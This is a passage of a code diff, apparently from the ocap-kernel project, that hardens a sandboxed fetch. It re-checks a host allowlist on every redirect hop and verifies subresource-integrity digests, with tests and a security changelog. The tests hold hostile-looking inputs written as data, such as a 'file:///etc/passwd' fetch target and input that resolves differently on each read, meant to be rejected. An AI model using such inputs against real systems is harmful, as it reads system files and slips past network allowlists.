body the request carries. + * @returns Whether it can be sent again. + */ +const isReplayableBody = (body: RequestInit['body']): boolean => + body === null || + typeof body === 'string' || + body instanceof ArrayBuffer || + ArrayBuffer.isView(body) || + body instanceof URLSearchParams || + body instanceof Blob || + body instanceof FormData; + +/** + * Matches undici's own origin comparison for a hop it follows. Spelled out + * rather than `left.origin === right.origin`, which reports `"null"` for an + * opaque origin and would call two such URLs the same. + * + * @param left - One URL. + * @param right - The other. + * @returns Whether the two share an origin. + */ +const isSameOrigin = (left: URL, right: URL): boolean => + left.protocol === right.protocol && + left.hostname === right.hostname && + left.port === right.port; + +/** + * Release a response nobody will read. Its connection is held open until the + * body is either read or discarded, so every exit that abandons one comes + * through here. A cancel that fails means the stream was already errored or + * locked — the bytes are gone either way, and failing a fetch over a body + * nobody wanted would be worse. + * + * @param response - The response to abandon. + */ +const discardBody = async (response: Response): Promise => { + await response.body?.cancel().catch(() => undefined); +}; + +/** + * Check a response body against the digest the caller asked for. + * + * `fetch` is not left to do this. It checks an `integrity` against the body of + * the one request it was given, and a request here is a single hop, so a digest + * of the resource would be compared to each 3xx body along the way and no chain + * longer than one hop could succeed. The digest is withheld from `baseFetch` and + * spent here instead, on the body actually handed back — which is where the + * spec spends it too, after the chain has been walked. + * + * Stricter than `fetch` in one respect: metadata naming no algorithm SRI is + * defined over is refused rather than ignored, because a caller that asked for a + * digest and had none checked is worse off than one that asked for nothing. + * + * @param options - An options bag. + * @param options.response - The response about to be handed back. + * @param options.url - Where it came from, for the error messages. + * @param options.integrity - The caller's integrity metadata; `''` for none. + */ +const checkIntegrity = async ({ + response, + url, + integrity, +}: { + response: Response; + url: URL; + integrity: string; +}): Promise => { + if (integrity === '') { + return; + } + const check = parseIntegrityMetadata(integrity); + if (!check) { + await discardBody(response); + throw new Error( + `Fetch of ${url.href} requested integrity \`${integrity}\`, which names no hash algorithm a guarded fetch can check. Use sha256, sha384 or sha512.`, + ); + } + // No bytes is no match, as it is none to `fetch`: a 204, a 304 and an answer + // to a HEAD carry no body, and the digest names one. + if (!response.body) { + throw new Error( + `Fetch of ${url.href} requested integrity \`${integrity}\`, but the response carries no body to check it against.`, + ); + } + // Read from a clone, because a body can be read once and these bytes are the + // caller's. Cloning tees the stream, so what is checked is what is handed + // back — at the cost of holding the body in memory, which is what checking a + // digest costs however it is done, `fetch` included. + const bytes = new Uint8Array(await response.clone().arrayBuffer()); + if (!(await bytesMatchIntegrity(bytes, check))) { + await discardBody(response); + throw new Error( + `Fetch of ${url.href} does not match the requested integrity \`${integrity}\`.`, + ); + } +}; + +/** + * Each hop is a separate `fetch` that saw no redirect of its own, so the last + * one reports `redirected: false` for a chain the caller did travel. A proxy + * rather than a defined property because the response may be frozen — the vat + * `fetch` endowment hardens what it returns — and every write here forwards to + * the target, so a frozen response stays frozen. + * + * Being a proxy, it satisfies `instanceof Response` and answers method calls, + * but it is not the response: `Response.prototype.text.call(view)` throws where + * `view.text()` works, and each read of a method yields a fresh bound function. + * + * @param response - The final hop's response. + * @returns The same response, reporting that it was redirected. + */ +const asRedirected = (response: Response): Response => + new Proxy(response, { + get: (target, property) => { + // A platform `Response` carries both of these on its prototype, so there + // is nothing own to contradict. A response that is a frozen plain object + // — a test double, say — carries them as non-configurable own values, and + // overriding one would violate a proxy invariant and throw on every read. + // Report what is there instead: a wrong flag beats an unreadable response. + if (!Object.hasOwn(target, property)) { + if (property === 'redirected') { + return true; + } + if (property === 'clone') { + return () => asRedirected(target.clone()); + } + } + const value = Reflect.get(target, property, target); + // Bound to the target: a `Response` reaches its state through `this`, + // and a private field lookup on a proxy throws. + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + +/** + * Wrap a `fetch` so that `guard` runs before every request it makes. + * + * Redirects are followed here, one hop at a time, rather than by `fetch`: left + * to itself `fetch` walks the whole chain and consults nobody, so a guard that + * sees only the pre-flight URL is one `Location` header away from being + * bypassed. The caller's input is resolved once by {@link resolveFetchInput}, + * so the URL `guard` approves is the URL requested. + * + * `redirect: 'follow'` is therefore overridden and `baseFetch` is always called + * with `'manual'`; `'manual'` and `'error'` ask for less than the guarded walk + * and are obeyed. + * + * Walking the chain here also takes `integrity` out of `fetch`'s hands, since a + * digest of the resource would otherwise be checked against a hop; see + * {@link checkIntegrity}. + * + * @param options - An options bag. + * @param options.baseFetch - The `fetch` to make requests with. + * @param options.guard - The gate to run before each request. + * @returns A `fetch` gated by `guard`. + */ +export const makeGuardedFetch = ({ + baseFetch, + guard, +}: { + baseFetch: typeof fetch; + guard: FetchGuard; +}): typeof fetch => { + /** + * Make one request and insist on being able to see where it points next. + * + * Takes the resolved pair rather than a destination and the URL it is claimed + * to be, so the two cannot disagree and the caller's own input is not of a + * type this accepts. + * + * @param resolved - What to request, and the URL it resolves to. + * @param resolved.url - The URL that will be requested. + * @param resolved.input - What to hand `baseFetch` to request it. + * @param requestInit - The init to request it with. + * @returns The response. + */ + const requestOnce = async ( + { url, input }: ResolvedFetchInput, + requestInit: RequestInit, + ): Promise => { + const response = await baseFetch(input, requestInit); + // Undici answers a manual redirect with the real response; a browser + // follows the spec and answers with an opaque-redirect one — status 0, no + // headers — which hides the hop instead of exposing it for checking. + if (response.type === 'opaqueredirect') { + await discardBody(response); + throw new Error( + `Fetch of ${url.href} was redirected, but this runtime hides the target of a manual redirect, so the hop cannot be checked.`, + ); + } + // Every request here asks for `manual`, so a chain was walked by something + // below `baseFetch` that never consulted the guard. Refuse the response: + // treating it as the approved resource is the pre-flight-only checking this + // wrapper exists to replace. + if (response.redirected) { + await discardBody(response); + throw new Error( + `Fetch of ${url.href} followed a redirect below the guard, which cannot check where it went. A guarded fetch's \`baseFetch\` must honour \`redirect: 'manual'\`.`, + ); + } + return response; + }; + + const guardedFetch = async ( + ...[rawInput, rawInit]: Parameters + ): Promise => { + const resolved = resolveFetchInput(rawInput); + const { url, input } = resolved; + + // Snapshot the caller's `init`, so no later read can see a destination the + // guard did not. `body` and `signal` stay the caller's objects: neither can + // be copied, and neither names a destination. + const init: RequestInit = { ...rawInit }; + + // Checked on the copy, not on `rawInit`: an accessor answering the check + // with `undefined` and the copy with a dispatcher is the same substitution + // this wrapper exists to stop. Refused rather than dropped, because + // dropping it would fall back to the global transport and send anyway, so a + // caller relying on a proxy or a client certificate would silently egress + // without one. Reached through `in` so the check compiles where the ambient + // `RequestInit` is the DOM one, which does not declare `dispatcher`. + // + if ('dispatcher' in init && init.dispatcher !== undefined) { + throw new Error( + 'A guarded fetch cannot accept a `dispatcher`: it stands in for the transport, so it would decide where the bytes go whatever URL the guard approved. Build it into the `baseFetch` instead.', + ); + } + + // `init` wins wherever it names the same thing as the `Request`, which is + // how `fetch` merges the two. None of these accessors consumes a body. + const request = input instanceof Request ? input : undefined; + if (request) { + // A hop is built from the init alone, so what arrived on the `Request` + // has to be copied across or it is silently dropped from the second hop + // onward. `integrity` is the exception, withheld from every hop below. + // Not `cache`: this package compiles against undici's `RequestInit`, + // which has no such field because undici ignores cache mode. A hop in a + // browser realm therefore reverts to the default. + init.credentials ??= request.credentials; + init.keepalive ??= request.keepalive; + init.mode ??= request.mode; + init.referrer ??= request.referrer; + init.referrerPolicy ??= request.referrerPolicy; + } + const signal = + init.signal === undefined ? (request?.signal ?? null) : init.signal; + // Snapshotted into the init as well, so the guard and `fetch` are shown + // the same headers however long the guard takes to answer. + const headers = new Headers(init.headers ?? request?.headers); + init.headers = headers; + // Kept verbatim rather than normalized: `fetch` upper-cases the methods it + // knows and passes anything else along as written. + let method = init.method ?? request?.method ?? 'GET'; + // A `body` of `null` means "not supplied", as it does to `fetch`, so a + // `Request`'s own body still stands behind it. + let body = init.body ?? request?.body ?? null; + + // Read from the copy, before `redirect` is overridden below. + const requested = init.redirect ?? request?.redirect ?? 'follow'; + init.redirect = 'manual'; + + // Taken off the request and checked by {@link checkIntegrity} instead, on + // whichever response is handed back. Read from the `Request` too, since + // either can carry it, and overridden with `''` rather than deleted: to + // `fetch` only an empty string means "no digest", and an absent init member + // leaves a `Request`'s own integrity standing. + const integrity = init.integrity ?? request?.integrity ?? ''; + init.integrity = ''; + + await guard(url); + let response = await requestOnce(resolved, init); + + let currentUrl = url; + let redirects = 0; + + while (REDIRECT_STATUSES.has(response.status)) { + // Answered before the `Location` header is consulted, as the spec does: + // the mode turns on the status alone, so `error` fails a redirect that + // names nowhere to go rather than passing it off as an ordinary response. + if (requested === 'manual') { + // The caller asked for the 3xx itself, so the 3xx is the body a digest + // has to answer for — as it is to `fetch`, which fails a manual + // redirect carrying an `integrity` for the same reason. + await checkIntegrity({ response, url: currentUrl, integrity }); + return response; + } + if (requested === 'error') { + await discardBody(response); + throw new Error( + `Fetch of ${currentUrl.href} was redirected, and redirect: 'error' was requested.`, + ); + } + const location = response.headers.get('location'); + // A redirect status with no usable `Location` is just a response. An + // empty one resolves back to the current URL, which `fetch` dutifully + // requests twenty more times; there is nothing there to follow. + if (!location?.trim()) { + break; + } + // Nothing below reads this response. + await discardBody(response); + + redirects += 1; + if (redirects > MAX_REDIRECTS) { + throw new Error( + `Fetch of ${url.href} exceeded ${MAX_REDIRECTS} redirects; gave up at ${currentUrl.href}.`, + ); + } + + let nextUrl: URL; + try { + nextUrl = new URL(location, currentUrl); + } catch (cause) { + throw new Error( + `Fetch of ${currentUrl.href} was redirected to an unusable location.`, + { cause }, + ); + } + // The guard would refuse these anyway, having no host to match, but it + // would refuse them as a nameless host rather than as what they are. + if (!FETCHABLE_PROTOCOLS.has(nextUrl.protocol)) { + throw new Error( + `Fetch of ${currentUrl.href} was redirected to a ${nextUrl.protocol} URL, which a guarded fetch will not follow.`, + ); + } + + // Resolved through the same function as the caller's input, so this hop's + // destination is fixed the same way the first hop's was — including + // against a guard that normalizes in place the URL it was handed, which is + // now a `URL` nothing else here holds. Asked first, so a hop out of the + // allowlist is reported as that rather than as whatever else about it is + // also wrong. + const nextResolved = resolveFetchInput(nextUrl.href); + await guard(nextResolved.url); + + const { status } = response; + // The fetch spec's own rewrite of the method and body across these + // statuses. Normalized here only: `fetch` upper-cases the methods it + // knows and passes anything else along as written. + const normalizedMethod = method.toUpperCase(); + if ( + (status === 303 && + normalizedMethod !== 'GET' && + normalizedMethod !== 'HEAD') || + ((status === 301 || status === 302) && normalizedMethod === 'POST') + ) { + method = 'GET'; + body = null; + BODY_HEADERS.forEach((name) => headers.delete(name)); + } + if (!isSameOrigin(currentUrl, nextUrl)) { + CROSS_ORIGIN_HEADERS.forEach((name) => headers.delete(name)); + } + if (!isReplayableBody(body)) { + throw new Error( + `Cannot follow the ${status} redirect from ${currentUrl.href} to ${nextResolved.url.href}: it keeps the request body, and a stream cannot be sent a second time. Pass a body that can be replayed — a string, ArrayBuffer, view, URLSearchParams, Blob or FormData — through the init argument; a Request's body is a stream whatever it was built from.`, + ); + } + + const hopInit: RequestInit = { ...init, method, headers, body, signal }; + response = await requestOnce(nextResolved, hopInit); + currentUrl = nextResolved.url; + } + + await checkIntegrity({ response, url: currentUrl, integrity }); + return redirects === 0 ? response : asRedirected(response); + }; + return harden(guardedFetch); +}; +harden(makeGuardedFetch); diff --git a/packages/kernel-utils/src/index.test.ts b/packages/kernel-utils/src/index.test.ts index d3b32f36cc..3a22f480d3 100644 --- a/packages/kernel-utils/src/index.test.ts +++ b/packages/kernel-utils/src/index.test.ts @@ -31,9 +31,11 @@ describe('index', () => { 'makeDefaultExo', 'makeDefaultInterface', 'makeDiscoverableExo', + 'makeGuardedFetch', 'mergeDisjointRecords', 'methodArgsToStruct', 'prettifySmallcaps', + 'resolveFetchInput', 'retry', 'retryWithBackoff', 'stringify', diff --git a/packages/kernel-utils/src/index.ts b/packages/kernel-utils/src/index.ts index e7c57b202b..e4b75ce2a6 100644 --- a/packages/kernel-utils/src/index.ts +++ b/packages/kernel-utils/src/index.ts @@ -16,6 +16,10 @@ export { methodArgsToStruct, } from './json-schema-to-struct.ts'; export { fetchValidatedJson } from './fetchValidatedJson.ts'; +export { resolveFetchInput } from './fetch-input.ts'; +export type { FetchInput, ResolvedFetchInput } from './fetch-input.ts'; +export { makeGuardedFetch } from './guarded-fetch.ts'; +export type { FetchGuard } from './guarded-fetch.ts'; export { abortableDelay, delay, ifDefined, makeCounter } from './misc.ts'; export { stringify } from './stringify.ts'; export { installWakeDetector } from './wake-detector.ts'; diff --git a/packages/kernel-utils/src/subresource-integrity.test.ts b/packages/kernel-utils/src/subresource-integrity.test.ts new file mode 100644 index 0000000000..7cf024177c --- /dev/null +++ b/packages/kernel-utils/src/subresource-integrity.test.ts @@ -0,0 +1,128 @@ +import { describe, expect, it } from 'vitest'; + +import { + bytesMatchIntegrity, + parseIntegrityMetadata, +} from './subresource-integrity.ts'; + +// The digests of `landed`, which is the body every case below checks against. +const SHA256 = 'eO4Sxl1Ae6BpTfkQxrgVk4v2EZ9yiL1yCkjJjhGvV7w='; +const SHA384 = + 'BzfpFjm8VePMhoplOScWHHmr9mK0pq8+9eMwbLdn/kNNOo/sJuvyFAH8EbfUZ1pz'; +const SHA512 = + '/WP9o53KurTHJ4rql4UaN6JkP9KbZN0hjdcXgkhQUJRrZZJ3YGPrVXQZItUilpNBzTYdAX1qONrclS0/J0JW2A=='; +// The same, base64url and unpadded — the spelling a caller may equally write. +const SHA512_URL = + '_WP9o53KurTHJ4rql4UaN6JkP9KbZN0hjdcXgkhQUJRrZZJ3YGPrVXQZItUilpNBzTYdAX1qONrclS0_J0JW2A'; +// A digest of something else: `redirecting`, the body of a redirect hop. +const OTHER_SHA256 = 'etTf+nmjsDY8FN+ggw4Pdq7I90HT0Yr84x9CY6XgiLY='; + +const landed = new TextEncoder().encode('landed'); + +/** + * Check bytes against metadata as a caller of both functions together does. + * + * @param metadata - The integrity metadata to check against. + * @param bytes - The body to check. + * @returns Whether the bytes match, or `undefined` where the metadata names no + * digest to check them against. + */ +const matches = async ( + metadata: string, + bytes: Uint8Array = landed, +): Promise => { + const check = parseIntegrityMetadata(metadata); + return check && (await bytesMatchIntegrity(bytes, check)); +}; + +describe('parseIntegrityMetadata', () => { + it.each([ + ['the empty metadata that means no digest was asked for', ''], + ['an algorithm SRI is not defined over', 'md5-1B2M2Y8AsgTpgAmY7PhCfg=='], + ['an algorithm carrying no digest', 'sha256'], + ['a name that merely starts like one', 'sha2560-abc'], + ['whitespace alone', ' \t\n'], + ])('reads %s as nothing to check', (_case, metadata) => { + expect(parseIntegrityMetadata(metadata)).toBeUndefined(); + }); + + it('reads an algorithm and its digest', () => { + expect(parseIntegrityMetadata(`sha256-${SHA256}`)).toStrictEqual({ + algorithm: 'SHA-256', + values: [SHA256], + }); + }); + + it.each([ + ['space', ' '], + ['tab', '\t'], + ['newline', '\n'], + ['form feed', '\f'], + ['carriage return', '\r'], + ])('separates digests on a %s', (_name, gap) => { + expect( + parseIntegrityMetadata(`sha256-${OTHER_SHA256}${gap}sha256-${SHA256}`), + ).toStrictEqual({ + algorithm: 'SHA-256', + values: [OTHER_SHA256, SHA256], + }); + }); + + it.each([ + ['the strongest named last', `sha256-${SHA256} sha512-${SHA512}`], + ['the strongest named first', `sha512-${SHA512} sha256-${SHA256}`], + ['all three named', `sha384-${SHA384} sha512-${SHA512} sha256-${SHA256}`], + ])('keeps only the strongest algorithm with %s', (_case, metadata) => { + expect(parseIntegrityMetadata(metadata)).toStrictEqual({ + algorithm: 'SHA-512', + values: [SHA512], + }); + }); + + it('reads past the options SRI defines no use for', () => { + expect(parseIntegrityMetadata(`sha256-${SHA256}?foo=bar`)).toStrictEqual({ + algorithm: 'SHA-256', + values: [SHA256], + }); + }); +}); + +describe('bytesMatchIntegrity', () => { + it.each([ + ['sha256', `sha256-${SHA256}`], + ['sha384', `sha384-${SHA384}`], + ['sha512', `sha512-${SHA512}`], + ])('matches a %s digest of the bytes', async (_algorithm, metadata) => { + expect(await matches(metadata)).toBe(true); + }); + + it.each([ + ['base64url', `sha512-${SHA512_URL}`], + ['unpadded base64', `sha256-${SHA256.replace('=', '')}`], + ])('matches a digest written as %s', async (_spelling, metadata) => { + expect(await matches(metadata)).toBe(true); + }); + + it('matches when any digest for the algorithm does', async () => { + expect(await matches(`sha256-${OTHER_SHA256} sha256-${SHA256}`)).toBe(true); + }); + + it.each([ + ['a digest of other bytes', `sha256-${OTHER_SHA256}`], + ['a value that is not a digest at all', 'sha256-not-base64'], + ['a digest of the right length for another algorithm', `sha256-${SHA512}`], + ])('does not match %s', async (_case, metadata) => { + expect(await matches(metadata)).toBe(false); + }); + + it('holds the bytes to the strongest algorithm, weaker matches notwithstanding', async () => { + // Only the sha512 is checked, and it is a digest of something else. + expect( + await matches(`sha256-${SHA256} sha512-${OTHER_SHA256.repeat(2)}`), + ).toBe(false); + }); + + it('does not match bytes for an empty body', async () => { + expect(await matches(`sha256-${SHA256}`, new Uint8Array())).toBe(false); + }); +}); diff --git a/packages/kernel-utils/src/subresource-integrity.ts b/packages/kernel-utils/src/subresource-integrity.ts new file mode 100644 index 0000000000..470dc0d74b --- /dev/null +++ b/packages/kernel-utils/src/subresource-integrity.ts @@ -0,0 +1,109 @@ +import { bytesToBase64 } from '@metamask/utils'; + +/** + * The hash algorithms subresource integrity is defined over, weakest first: + * metadata naming several of them is checked against the strongest, and this + * order is what "strongest" means. + * + * @see https://w3c.github.io/webappsec-subresource-integrity/#valid-sri-hash-algorithm-token-set + */ +const SRI_ALGORITHMS = harden([ + { token: 'sha256', digest: 'SHA-256' }, + { token: 'sha384', digest: 'SHA-384' }, + { token: 'sha512', digest: 'SHA-512' }, +] as const); + +/** The whitespace integrity metadata separates its digests with. */ +const ASCII_WHITESPACE = /[\t\n\f\r ]+/u; + +export type IntegrityCheck = { + /** The `crypto.subtle` name of the algorithm to digest with. */ + algorithm: (typeof SRI_ALGORITHMS)[number]['digest']; + /** The digests, any one of which the bytes may match. */ + values: readonly string[]; +}; + +/** + * A digest is written base64 or base64url, padded or unpadded, and all four + * spellings name the same bytes. Normalized rather than decoded, so that a + * value which is not base64 at all fails to match instead of failing to parse. + * + * @param value - A digest as written. + * @returns The same digest, comparable to any other spelling of itself. + */ +const normalizeDigest = (value: string): string => + value.replace(/[=]+$/u, '').replace(/-/gu, '+').replace(/_/gu, '/'); + +/** + * Read integrity metadata — the `integrity` member of a `fetch` init — as the + * single check a body has to pass. + * + * A token naming an algorithm that is not one of SRI's is dropped rather than + * refused, because metadata may name several and only the strongest of those + * understood is checked. Metadata naming nothing understood therefore comes + * back as `undefined`, which is the caller's to answer for: `fetch` ignores + * such metadata and hands back the body unchecked. + * + * @param metadata - The caller's integrity metadata; `''` for none. + * @returns The strongest algorithm named and the digests written for it, or + * `undefined` if the metadata names no digest that can be checked. + */ +export const parseIntegrityMetadata = ( + metadata: string, +): IntegrityCheck | undefined => { + let strongest = -1; + let values: string[] = []; + for (const token of metadata.split(ASCII_WHITESPACE)) { + // Whatever follows a `?` is an option, which SRI defines no use for and + // reads past. + const [expression] = token.split('?') as [string]; + const separator = expression.indexOf('-'); + // A token carrying no `-` names no digest, so there is nothing to check it + // against — as there is not for the empty token an empty metadata splits to. + if (separator < 0) { + continue; + } + const index = SRI_ALGORITHMS.findIndex( + ({ token: name }) => name === expression.slice(0, separator), + ); + if (index < 0) { + continue; + } + // A stronger algorithm discards what the weaker ones asked for; a second + // digest for the algorithm already in hand is another way to satisfy it. + if (index > strongest) { + strongest = index; + values = []; + } + if (index === strongest) { + values.push(expression.slice(separator + 1)); + } + } + const algorithm = SRI_ALGORITHMS[strongest]?.digest; + return algorithm === undefined ? undefined : harden({ algorithm, values }); +}; +harden(parseIntegrityMetadata); + +/** + * Digest bytes and compare — the check `fetch` runs itself when it is given + * both a body and an `integrity`. + * + * @param bytes - The body to check. + * @param check - What it has to match, from {@link parseIntegrityMetadata}. + * @returns Whether the bytes match any digest in `check`. + */ +export const bytesMatchIntegrity = async ( + bytes: Uint8Array, + check: IntegrityCheck, +): Promise => { + const { algorithm, values } = check; + const digest = new Uint8Array( + // The `crypto` global is what a browser realm has too, and the only place a + // digest can come from there. + // eslint-disable-next-line n/no-unsupported-features/node-builtins + await globalThis.crypto.subtle.digest(algorithm, bytes), + ); + const actual = normalizeDigest(bytesToBase64(digest)); + return values.some((value) => normalizeDigest(value) === actual); +}; +harden(bytesMatchIntegrity); diff --git a/packages/nodejs-test-workers/src/workers/mock-fetch.ts b/packages/nodejs-test-workers/src/workers/mock-fetch.ts index cb6e0fa8b3..86f02db1af 100644 --- a/packages/nodejs-test-workers/src/workers/mock-fetch.ts +++ b/packages/nodejs-test-workers/src/workers/mock-fetch.ts @@ -10,9 +10,41 @@ let logger = new Logger(LOG_TAG); // The Snaps network factory reads `globalThis.fetch` at call time, so stub // it before the supervisor is constructed. Endoify hardens intrinsics but // not `globalThis.fetch`, so the override sticks. -globalThis.fetch = async (input) => { - logger.debug('fetch', input); - return new Response('Hello, world!'); + +// Read a `Request`'s URL the way a real `fetch` does, without `new Request()`, +// which would consume the caller's body as a side effect. Deliberately +// unbound: applied to whichever `Request` this fetch is handed. +// eslint-disable-next-line @typescript-eslint/unbound-method +const getRequestUrl = Object.getOwnPropertyDescriptor( + Object.getPrototypeOf(new Request('http://x.test')) as Request, + 'url', +)?.get as (this: Request) => string; + +globalThis.fetch = async (input, init) => { + // Resolved independently of the code under test, so an input that resolves + // differently on a second read shows up here as a mismatch. Logged as a + // string because a `Request` crosses the log stream as `{}`. + const target = + input instanceof Request ? getRequestUrl.call(input) : String(input); + logger.debug('fetch', target); + // A `redirectTo` query makes this mock answer with a redirect to it, so a + // test can drive the per-hop check. + const redirectTo = new URL(target).searchParams.get('redirectTo'); + if (redirectTo) { + return new Response('', { + status: 302, + headers: { location: redirectTo }, + }); + } + // Echo the target and the redirect mode, so a test can assert that fetch + // reached the URL the caveat approved and that `manual` survived the Snaps + // endowment wrapping this. + return new Response('Hello, world!', { + headers: { + 'x-fetched-url': target, + 'x-redirect-mode': String(init?.redirect), + }, + }); }; main().catch((reason) => logger.error('main exited with error', reason)); diff --git a/packages/ocap-kernel/CHANGELOG.md b/packages/ocap-kernel/CHANGELOG.md index 8af7998ec7..9debc605a2 100644 --- a/packages/ocap-kernel/CHANGELOG.md +++ b/packages/ocap-kernel/CHANGELOG.md @@ -80,6 +80,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - `SubclusterManager.restorePersistedIOChannels()` walks every persisted subcluster, finds those whose config declares `io`, and re-creates the channels via `IOManager` before `initializeAllVats` runs - Without this, any vat that opened an IO channel via `launchSubcluster` lost its channel across `daemon stop` / `daemon start` and silently held a dead IOService reference +### Security + +- A vat's `fetch` can no longer reach a host outside its `network.allowedHosts`. The allowlist was checked against one resolution of the vat's input while `fetch` resolved it again (CWE-367), and a redirect from an allowed host to a forbidden one was followed unchecked ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026)) + - A vat's `redirect: 'follow'`, in `init` or on a `Request`, no longer reaches the hop unchecked; `manual` and `error` behave as asked. A `dispatcher` in `init` is rejected + - A redirect that keeps the request body now fails when that body cannot be sent again, which includes any `Request` carrying one — pass the body via `init` instead + - A vat hosted in a browser can no longer follow a redirect at all: the runtime hides the target of a manual redirect, so the hop cannot be checked and the fetch fails instead + - An `integrity` a vat asks for is checked against the body the chain ends on rather than by `fetch`, which sees one hop at a time and would hold the digest against a redirect body + ## [0.7.0] ### Added diff --git a/packages/ocap-kernel/src/vats/network-caveat.test.ts b/packages/ocap-kernel/src/vats/network-caveat.test.ts index e2c4e6a878..f2fa7a849f 100644 --- a/packages/ocap-kernel/src/vats/network-caveat.test.ts +++ b/packages/ocap-kernel/src/vats/network-caveat.test.ts @@ -1,55 +1,35 @@ +import { makeTwoFacedFetchInput } from '@ocap/repo-tools/test-utils/fetch-input'; import { describe, expect, it, vi } from 'vitest'; +import type { Mock } from 'vitest'; -import { - resolveUrl, - makeHostCaveat, - makeCaveatedFetch, -} from './network-caveat.ts'; - -describe('resolveUrl', () => { - it.each([ - { name: 'string URL', input: 'https://example.test/path' }, - { - name: 'Request object URL', - input: new Request('https://example.test/path'), - }, - { name: 'URL object', input: new URL('https://example.test/path') }, - ])('resolves $name', ({ input }) => { - const result = resolveUrl(input); - expect(result).toBeInstanceOf(URL); - expect(result.href).toBe('https://example.test/path'); - }); - - it('throws for malformed string URLs', () => { - expect(() => resolveUrl('not a url')).toThrow(/Invalid URL/u); - }); -}); +import { makeHostCaveat, makeCaveatedFetch } from './network-caveat.ts'; describe('makeHostCaveat', () => { it('allows allowed hostnames', async () => { const caveat = makeHostCaveat(['example.test', 'api.github.com']); - expect(await caveat('https://example.test/path')).toBeUndefined(); - expect(await caveat('https://api.github.com/users')).toBeUndefined(); + expect(await caveat(new URL('https://example.test/path'))).toBeUndefined(); + expect( + await caveat(new URL('https://api.github.com/users')), + ).toBeUndefined(); }); it('rejects disallowed hostnames', async () => { const caveat = makeHostCaveat(['example.test']); - await expect(caveat('https://malicious.test/path')).rejects.toThrow( - 'Invalid host: malicious.test', - ); + await expect( + caveat(new URL('https://malicious.test/path')), + ).rejects.toThrow('Invalid host: malicious.test'); }); it('ignores port when matching hostnames', async () => { const caveat = makeHostCaveat(['api.example.test']); - expect(await caveat('https://api.example.test:8443/path')).toBeUndefined(); + expect( + await caveat(new URL('https://api.example.test:8443/path')), + ).toBeUndefined(); }); - it.each([ - { label: 'file: string input', input: 'file:///etc/passwd' }, - { label: 'file: Request input', input: new Request('file:///etc/passwd') }, - ])('rejects $label with an fs-capability hint', async ({ input }) => { + it('rejects file: URLs with an fs-capability hint', async () => { const caveat = makeHostCaveat(['example.test']); - await expect(caveat(input)).rejects.toThrow( + await expect(caveat(new URL('file:///etc/passwd'))).rejects.toThrow( /fetch cannot target file:\/\/ URLs.*fs platform capability/u, ); }); @@ -61,28 +41,30 @@ describe('makeHostCaveat', () => { 'rejects $label URLs via the hostname check (opaque origin has empty hostname)', async ({ input }) => { const caveat = makeHostCaveat(['example.test']); - await expect(caveat(input)).rejects.toThrow('Invalid host:'); + await expect(caveat(new URL(input))).rejects.toThrow('Invalid host:'); }, ); - - it.each([ - { - name: 'Request objects', - input: new Request('https://example.test/path'), - }, - { name: 'URL objects', input: new URL('https://example.test/path') }, - ])('handles $name', async ({ input }) => { - const caveat = makeHostCaveat(['example.test']); - expect(await caveat(input)).toBeUndefined(); - }); - - it('rejects malformed URLs by propagating the URL constructor error', async () => { - const caveat = makeHostCaveat(['example.test']); - await expect(caveat('not a url')).rejects.toThrow(/Invalid URL/u); - }); }); describe('makeCaveatedFetch', () => { + // Allows `example.test` only, over a base answering with each response in + // turn and repeating the last, as the chains it replaces did. + const makeExampleFetch = ( + ...responses: Response[] + ): { caveated: typeof fetch; baseFetch: Mock } => { + const baseFetch = vi.fn(); + responses.slice(0, -1).forEach((response) => { + baseFetch.mockResolvedValueOnce(response); + }); + if (responses.length > 0) { + baseFetch.mockResolvedValue(responses[responses.length - 1]); + } + return { + caveated: makeCaveatedFetch(baseFetch, makeHostCaveat(['example.test'])), + baseFetch, + }; + }; + it('applies caveat and forwards to fetch', async () => { const mockResponse = new Response('test'); const baseFetch = vi.fn().mockResolvedValue(mockResponse); @@ -91,8 +73,13 @@ describe('makeCaveatedFetch', () => { const caveated = makeCaveatedFetch(baseFetch, caveat); const result = await caveated('https://example.test/path'); - expect(caveat).toHaveBeenCalledWith('https://example.test/path'); - expect(baseFetch).toHaveBeenCalledWith('https://example.test/path'); + expect(caveat).toHaveBeenCalledWith(new URL('https://example.test/path')); + expect(baseFetch).toHaveBeenCalledWith('https://example.test/path', { + redirect: 'manual', + // Withheld from every request and checked against the final body instead. + integrity: '', + headers: expect.any(Headers), + }); expect(result).toBe(mockResponse); }); @@ -115,16 +102,50 @@ describe('makeCaveatedFetch', () => { const init = { method: 'POST', body: 'data' }; await caveated('https://example.test/path', init); - expect(caveat).toHaveBeenCalledWith('https://example.test/path', init); - expect(baseFetch).toHaveBeenCalledWith('https://example.test/path', init); + // The caveat is shown the URL alone; `fetch` gets a snapshot of the + // caller's `init`, never the caller's own object. + expect(caveat).toHaveBeenCalledWith(new URL('https://example.test/path')); + expect(baseFetch).toHaveBeenCalledWith('https://example.test/path', { + ...init, + redirect: 'manual', + integrity: '', + headers: expect.any(Headers), + }); + }); + + it('forwards a URL object as its href', async () => { + const { caveated, baseFetch } = makeExampleFetch(new Response('ok')); + + await caveated(new URL('https://example.test/path')); + + expect(baseFetch).toHaveBeenCalledWith('https://example.test/path', { + redirect: 'manual', + integrity: '', + headers: expect.any(Headers), + }); + }); + + it('forwards a copy of a Request, never the vat’s own', async () => { + const { caveated, baseFetch } = makeExampleFetch(new Response('ok')); + const request = new Request('https://example.test/path'); + + await caveated(request); + + const [forwarded] = baseFetch.mock.calls[0] as [Request]; + expect(forwarded).toBeInstanceOf(Request); + expect(forwarded).not.toBe(request); + expect(forwarded.url).toBe('https://example.test/path'); + }); + + it('rejects malformed URLs by propagating the URL constructor error', async () => { + const { caveated, baseFetch } = makeExampleFetch(); + + await expect(caveated('not a url')).rejects.toThrow(/Invalid URL/u); + expect(baseFetch).not.toHaveBeenCalled(); }); it('composes host caveat with base fetch end-to-end', async () => { - const baseFetch = vi.fn().mockResolvedValue(new Response('ok')); - const caveated = makeCaveatedFetch( - baseFetch, - makeHostCaveat(['example.test']), - ); + const { caveated, baseFetch } = makeExampleFetch(new Response('ok')); const response = await caveated('https://example.test/data'); expect(await response.text()).toBe('ok'); @@ -135,4 +156,157 @@ describe('makeCaveatedFetch', () => { ); expect(baseFetch).toHaveBeenCalledTimes(1); }); + + describe('input that resolves differently on each read', () => { + it('rejects rather than quietly fetching whichever URL was shown first', async () => { + const { caveated, baseFetch } = makeExampleFetch(); + + await expect( + caveated( + 